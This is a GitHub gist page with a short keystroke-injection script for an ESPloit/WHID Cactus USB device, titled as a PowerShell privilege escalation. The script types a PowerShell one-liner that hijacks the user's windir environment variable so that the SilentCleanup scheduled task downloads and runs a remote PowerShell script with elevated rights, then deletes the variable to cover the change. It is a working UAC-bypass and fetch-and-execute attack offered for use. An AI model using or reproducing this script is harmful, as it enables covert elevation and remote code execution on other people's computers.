Skip to content

Instantly share code, notes, and snippets.

@Klepvink
Created October 7, 2021 11:03
Show Gist options
  • Select an option

  • Save Klepvink/45f0477637d63aeb0b56de731256fc3f to your computer and use it in GitHub Desktop.

Select an option

Save Klepvink/45f0477637d63aeb0b56de731256fc3f to your computer and use it in GitHub Desktop.
dckuino (WHID cactus) powershell privesc
Rem:Generated by Dckuino.js by NURRL
Rem:Modified for use with ESPloit by Corey Harding
Rem:-----
Press:131+114
CustomDelay:500
Print:powershell -c "$r='HKCU:\Environment';$n='windir';$v='powershell IEX (wget {LINK_TO_POWERSHELL_SCRIPT} -useBasicParsing).content;#';sp -Path $r -Name $n -Value $v;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I;rp -Path $r -Name $n"
Press:176
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment